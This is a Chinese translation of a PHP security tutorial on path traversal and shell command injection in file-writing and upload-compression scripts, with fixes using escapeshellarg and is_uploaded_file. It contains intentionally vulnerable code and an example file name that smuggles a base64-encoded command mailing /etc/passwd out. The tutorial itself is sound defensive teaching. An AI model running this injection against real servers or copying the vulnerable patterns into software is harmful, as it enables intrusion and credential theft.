專注於安全問題的重要性所看到的遠非全部
阻止用戶惡意破壞你的程式最有效卻經常被忽略的方法是在寫程式碼時就考慮它的可能性。留意程式碼中可能的安全性問題是很重要的。考慮下邊的旨在簡化用PHP中寫入大量文本文件的過程的實例函數:
<?php
function write_text($filename, $text="") {
static $open_files = array();
// 如果檔案名稱空,關閉全部文件
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true;
}
$index = md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
return true;
}
?>
這個函數帶有兩個預設參數,檔案名稱和要寫入檔案的文字。
函數將先檢查檔案是否已開啟;如果是,將使用原來的檔案句柄。否則,將自行建立。在這兩種情況中,文字都會被寫入文件。
如果傳遞給函數的檔案名稱是NULL,那麼所有開啟的檔案將會關閉。下邊提供了一個使用上的實例。
如果開發者以下邊的格式來寫入多個文字文件,那麼這個函數將會清楚且易讀的多。
讓我們假定這個函數存在於一個單獨的檔案中,這個檔案包含了呼叫這個函數的程式碼。
下邊是這樣的程序,我們叫它 quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Choose the nature of the quote:
<select name="quote" size="3">
<option value="funny">Humorous quotes</option>
<option value="political">Political quotes</option>
<option value="love">Romantic Quotes</option>
</select><br />
The quote: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Save Quote" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Quote saved!</h2></center>";
} else {
echo "<center><hr><h2>Error writing quote</h2></center>";
}
write_text(NULL);
?>
如你所看到的,這位開發者使用了write_text()函數來創建一個體系使得使用者可以提交他們喜歡的格言,這些格言將被存放在一個文字檔案中。
不幸的是,開發者可能沒有想到,這個程式也允許了惡意使用者危害web server的安全性。
也許現在你正搔著頭想著究竟這個看起來很無辜的程式怎麼引進了安全風險。
如果你看不出來,考慮下邊這個URL,記住這個程式叫做quotes.php:http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
這個URL傳遞給web server 時會發生什麼事?
顯然,quotes.php將被執行,但是,不是將一句格言寫入到我們希望的三個文件中之一,相反的,一個叫做different_file.dat的新文件將被建立,其中包含一個字符串garbage data 。
顯然,這不是我們希望的行為,惡意使用者可能透過把quote指定為../../../etc/passwd來存取UNIX密碼檔案從而創建帳號(儘管這需要web server以superuser運行程序,如果是這樣的,你應該停止閱讀,馬上去修復它)。
如果/home/web/quotes/可以透過瀏覽器訪問,可能這個程序最嚴重的安全問題是它允許任何使用者寫入和運行任意PHP程序。這將帶來無窮的麻煩。
這裡有一些解決方案。如果你只需要寫入目錄下的一些文件,可以考慮使用一個相關的陣列來存放檔案名稱。如果使用者輸入的檔案存在於這個陣列中,就可以安全的寫入。另一個想法是去掉所有的不是數字和字母的字元來確保沒有目錄分割符號。還有一個辦法是檢查檔案的副檔名來確保檔案不會被web server執行。
原則很簡單,身為一個開發者你必須比程式在你希望的情況下運行時考慮更多。
如果非法資料進入到一個form元素中會發生什麼事?惡意使用者是否能讓你的程式以不希望的方式運作?什麼方法能阻止這些攻擊?你的web server和PHP程式只有在最弱的安全連結才安全,所以確認這些可能不安全的連結是否安全很重要。
常見的涉及安全的錯誤這裡給出一些要點,一個可能危及安全的編碼上的和管理上的失誤的簡要不完整列表
錯誤1。信賴數據這是貫穿我關於PHP程式安全的討論的主題,你絕不能相信一個來自外部的數據。不管它來自用戶提交表單,文件系統的文件或環境變量,任何數據都不能簡單的想當然的採用。所以用戶輸入必須進行驗證並將之格式化以確保安全。
錯誤2。在web目錄中儲存敏感資料任何和所有的敏感資料都應該存放在獨立於需要使用資料的程式的檔案中,並保存在一個無法透過瀏覽器存取的目錄下。當需要使用敏感資料時,再透過include 或require語句來包含到適當的PHP程式。
錯誤3。不使用建議的安全防範措施
PHP手冊包含了在使用和編寫PHP程式時關於安全防範的完整章節。手冊也(幾乎)基於案例清楚的說明了什麼時候存在潛在安全風險和怎麼將風險降低到最低。又如,惡意使用者依靠開發者和管理員的失誤得到關心的安全資訊以取得系統的權限。留意這些警告並適當的採取措施來減少惡意使用者為你的系統帶來真正的破壞的可能性。
在PHP中執行系統呼叫在PHP中有很多方法可以執行系統呼叫。
例如,system(), exec(), passthru(), popen()和反單引號(`)運算子都允許你在程式中執行系統呼叫。如果不適當的使用上邊這些函數將會為惡意使用者在你的伺服器上執行系統指令打開大門。像在存取檔案時,絕大多數情況下,安全漏洞發生在由於不可靠的外部輸入導致的系統命令執行。
使用系統呼叫的一個例子程序考慮一個處理http文件上傳的程序,它使用zip程式來壓縮文件,然後把它移到指定的目錄(預設為/usr/local/archives/)。程式碼如下:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
雖然這段程式看起來相當簡單易懂,但是惡意使用者卻可以透過一些方法來利用它。最嚴重的安全問題存在於我們執行了壓縮指令(透過`運算子),在下邊的行中可以清楚的看到這點:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
……
欺騙程式執行任意shell指令雖然這段程式碼看起來相當安全,但它有讓任何有檔案上傳權限的使用者執行任意shell指令的潛在危險!
準確的說,這個安全漏洞來自對$cmp_name變數的賦值。在這裡,我們希望壓縮後的檔案使用從客戶機上傳時的檔案名稱(帶有.zip副檔名)。我們用到了$_FILES['file']['name'](它包含了上傳檔案在客戶端時的檔案名稱)。
在這樣的情況下,惡意使用者完全可以透過上傳一個含對底層作業系統有特殊意義字元的檔案來達到自己的目的。舉個例子,如果使用者按照下邊的形式建立一個空檔案會怎麼樣? (UNIX shell提示字元下)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
這個指令將會建立一個名字如下的檔案:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
看起來很奇怪?讓我們來看看這個“檔案名稱”,我們發現它很像使CLI版本的PHP執行如下程式碼的命令:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
如果你因為好奇而顯示$code變數的內容,你會發現它包含了[email protected] < /etc/passwd。如果使用者把這個文件傳給程序,接著PHP執行系統呼叫來壓縮文件,PHP其實會執行如下語句:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
讓人吃驚的,上邊的命令不是一個語句而是3個!由於UNIX shell 把分號(;)解釋為一個shell命令的結束和另一個命令的開始,除了分號在引號中時,PHP的system()實際上將如下執行:
[user@localhost]# / usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
如你所見,這個看起來無害的PHP程式突然變成執行任意shell指令和其他PHP程式的後門。雖然這個例子只會在路徑下有CLI版本的PHP的系統上有效,但用這種技術可以用其他的方法來達到相同的效果。
對抗系統呼叫攻擊
這裡的關鍵仍然是,來自用戶的輸入,不管內容如何,都不應該相信!問題仍然是如何在使用系統呼叫時(除了根本不使用它們)避免類似的情況出現。為了對抗這種類型的攻擊,PHP提供了兩個函數,escapeshellarg() 和escapeshellcmd()。
escapeshellarg()函數是為了從用作系統指令的參數的使用者輸入(在我們的例子中,是zip指令)中移出含有潛在危險的字元而設計的。這個函數的語法如下:
escapeshellarg($string)
$string所在處是用於過濾的輸入,回傳值是過濾後的字元。執行時,這個函數會在字元兩邊加上單引號,並轉義原來字串中的單引號(在其前邊加上)。在我們的例程中,如果我們在執行系統命令之前加上這些行:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
我們就能透過確保傳遞給系統呼叫的參數已經處理,是一個沒有其他意圖的使用者輸入,以規避這樣的安全風險。
escapeshellcmd()和escapeshellarg()類似,只是它只轉義對底層作業系統有特殊意義的字元。和escapeshellarg()不同,escapeshellcmd()不會處理內容中的空白格。舉個實例,當使用escapeshellcmd()轉義時,字符
$string = "'hello, world!';evilcommand"
將變為:
'hello, world';evilcommand
如果這個字串用作系統呼叫的參數它將仍然不能得到正確的結果,因為shell將把它分別解釋為兩個分離的參數: 'hello 和world';evilcommand。如果使用者輸入用於系統呼叫的參數清單部分,escapeshellarg()是更好的選擇。
保護上傳的檔案在整篇文章中,我一直只著重講系統呼叫如何被惡意使用者劫持以產生我們不希望結果。
但是,這裡還有另一個潛在的安全風險值得一提。再看到我們的例程,把你的注意力集中在下邊的行上:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
上邊片段中的程式碼行所導致的一個潛在安全風險是,最後一行我們判斷上傳的檔案是否實際存在(以臨時檔案名稱$tmp_name存在)。
這個安全風險並不來自於PHP自身,而在於保存在$tmp_name中的文件名實際上根本不是一個文件,而是指向惡意用戶希望訪問的文件,例如,/etc/passwd。
為了防止這樣的情況發生,PHP提供了is_uploaded_file()函數,它和file_exists()一樣,但是它也提供檔案是否真的從客戶端上傳的檢查。
在絕大多數情況下,你將需要移動上傳的文件,PHP提供了move_uploaded_file()函數,來配合is_uploaded_file()。這個函數和rename()一樣用於移動文件,只是它會在執行前自動檢查以確保被移動的文件是上傳的文件。 move_uploaded_file()的語法如下:
move_uploaded_file($filename, $destination);
在執行時,函數將移動上傳檔案$filename到目的地$destination並傳回一個布林值來標誌操作是否成功。
註: John Coggeshall 是一位PHP顧問和作者。從他開始為PHP不眠已經5年左右了。
英文原文: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html